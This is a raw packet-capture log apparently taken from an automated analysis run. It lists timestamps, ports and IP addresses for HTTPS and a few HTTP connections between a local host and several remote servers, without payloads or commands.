Nov 17, 2024 10:07:36.791686058 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.859606981 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.859626055 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.859735966 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.859993935 CET	443	49898	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:36.860212088 CET	49898	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:36.860227108 CET	443	49898	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:36.860838890 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.860861063 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.860920906 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.861233950 CET	443	49898	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:36.861284971 CET	49898	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:36.862449884 CET	49898	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:36.862510920 CET	443	49898	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:36.862761021 CET	49898	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:36.862771034 CET	443	49898	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:36.863020897 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.863040924 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.865065098 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.865080118 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.871535063 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.871561050 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.871601105 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.871658087 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.871696949 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.872466087 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.872476101 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.872670889 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.872677088 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.872817039 CET	443	49897	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.873017073 CET	49897	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.873032093 CET	443	49897	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.873969078 CET	443	49897	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.874022961 CET	49897	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.876236916 CET	443	49899	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.876461983 CET	49899	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.876470089 CET	443	49899	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.877283096 CET	49906	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.877302885 CET	443	49906	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.877363920 CET	49906	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.877501011 CET	443	49899	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.877563953 CET	49899	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.878252029 CET	49906	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.878259897 CET	443	49906	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.881185055 CET	49899	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.881258011 CET	443	49899	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.881418943 CET	49897	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.881475925 CET	443	49897	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.882002115 CET	49899	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.882010937 CET	443	49899	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.882098913 CET	49897	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.882110119 CET	443	49897	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.972836018 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:36.973103046 CET	49897	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.973103046 CET	49899	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.987829924 CET	49898	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:36.990534067 CET	443	49898	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:36.990714073 CET	443	49898	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:36.991158009 CET	49898	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:36.991336107 CET	49898	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:36.991344929 CET	443	49898	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.014872074 CET	443	49897	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:37.015060902 CET	443	49897	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:37.015165091 CET	49897	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:37.015227079 CET	443	49899	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:37.015301943 CET	443	49899	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:37.015368938 CET	49897	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:37.015408039 CET	443	49897	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:37.015434980 CET	49899	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:37.015731096 CET	49899	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:37.015734911 CET	443	49899	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:37.027631998 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.027748108 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.028198957 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.028211117 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.031554937 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.031624079 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.031634092 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.040363073 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.043174028 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.043183088 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.049048901 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.049128056 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.049137115 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.057725906 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.057821035 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.057830095 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.066580057 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.066648960 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.066658020 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.144356966 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.144406080 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.144416094 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.144506931 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.144558907 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.144567966 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.148263931 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.148332119 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.148339987 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.151452065 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.151521921 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.151530981 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.160186052 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.160245895 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.160254955 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.168963909 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.169039011 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.169048071 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.177625895 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.177681923 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.177695036 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.186364889 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.186461926 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.186472893 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.195000887 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.195070028 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.195080042 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.203766108 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.203824043 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.203833103 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.212625980 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.212754011 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.212763071 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.220653057 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.220705032 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.220712900 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.228096008 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.228146076 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.228154898 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.237216949 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.237277985 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.237287045 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.260912895 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.261002064 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.261050940 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.261060953 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.261102915 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.261118889 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.261270046 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.263149977 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.263158083 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.266674995 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.266711950 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.266769886 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.266777992 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.266827106 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.271171093 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.276143074 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.276180983 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.276211023 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.276221037 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.276267052 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.281240940 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.285845995 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.285900116 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.285914898 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.290462971 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.290518999 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.290527105 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.295269012 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.295322895 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.295331955 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.299962044 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.300048113 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.300075054 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.300085068 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.300126076 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.302120924 CET	49907	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.302145958 CET	443	49907	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.302279949 CET	49907	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.302439928 CET	49908	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.302480936 CET	443	49908	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.302768946 CET	49908	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.302875042 CET	49907	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.302894115 CET	443	49907	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.303030968 CET	49908	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.303049088 CET	443	49908	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.304891109 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.307311058 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.309417963 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.309443951 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.309544086 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.309608936 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.309617996 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.313611031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:37.313683987 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:37.314385891 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.314472914 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.314536095 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.314544916 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.314587116 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.317001104 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.317008018 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.319005966 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.323873997 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.323921919 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.323930979 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.328438044 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.328469038 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.328533888 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.328543901 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.328609943 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.333249092 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.338172913 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.338304043 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.338372946 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.338382959 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.338429928 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.339091063 CET	49909	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.339099884 CET	443	49909	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.339179039 CET	49909	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.339334011 CET	49910	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.339368105 CET	443	49910	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.339479923 CET	49910	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.339481115 CET	49909	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.339493990 CET	443	49909	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.339576960 CET	49910	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.339586020 CET	443	49910	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.342767954 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.348079920 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.348110914 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.348172903 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.348182917 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.348226070 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.351665020 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.352302074 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.357100964 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.357134104 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.357203007 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.357213020 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.357254028 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.361648083 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.364264965 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.364279985 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.366307020 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.366353035 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.366362095 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.371033907 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.371067047 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.371126890 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.371134996 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.375149965 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.375154972 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.375174046 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.375463009 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.379862070 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.379897118 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.379950047 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.379957914 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.380008936 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.384300947 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.388561010 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.388592958 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.388606071 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.388617992 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.388659000 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.388811111 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.388853073 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:37.388904095 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:37.441378117 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.441443920 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.441508055 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.451333046 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.451351881 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.451406956 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.451416016 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.465069056 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.465089083 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.465184927 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.465370893 CET	49911	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.465383053 CET	443	49911	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.524780035 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.524843931 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.524909019 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.525449991 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.525469065 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.525544882 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.525552988 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.528865099 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.528928995 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.529004097 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.531481028 CET	49912	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.531512976 CET	443	49912	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.572252989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:37.578389883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:37.581976891 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.594240904 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.594255924 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.594680071 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.594683886 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.603487015 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.603852987 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.603874922 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.604361057 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.604367018 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.617466927 CET	443	49906	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.617925882 CET	49906	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.617935896 CET	443	49906	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.618469000 CET	49906	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.618473053 CET	443	49906	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.630374908 CET	49907	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.630608082 CET	49908	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.630729914 CET	49909	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.630825043 CET	49910	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:37.631694078 CET	49875	443	192.168.2.6	18.244.18.122
Nov 17, 2024 10:07:37.631766081 CET	443	49875	18.244.18.122	192.168.2.6
Nov 17, 2024 10:07:37.631856918 CET	49875	443	192.168.2.6	18.244.18.122
Nov 17, 2024 10:07:37.671361923 CET	443	49907	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.675331116 CET	443	49910	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.675337076 CET	443	49908	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.675348043 CET	443	49909	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:37.718569994 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.718631983 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.718741894 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.719468117 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.719468117 CET	49904	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.719475985 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.719484091 CET	443	49904	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.723579884 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.723635912 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.723731041 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.723990917 CET	49913	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.724025965 CET	443	49913	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.748370886 CET	443	49906	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.748423100 CET	443	49906	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.748707056 CET	49906	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.748994112 CET	49906	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.748994112 CET	49906	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.749003887 CET	443	49906	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.749013901 CET	443	49906	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.751614094 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.751629114 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.751738071 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.751910925 CET	49916	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.751920938 CET	443	49916	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.809324980 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.809396982 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.809484005 CET	49905	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:37.809498072 CET	443	49905	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:37.809520006 CET	443	49905	13.107.246.45	192.168.2.6
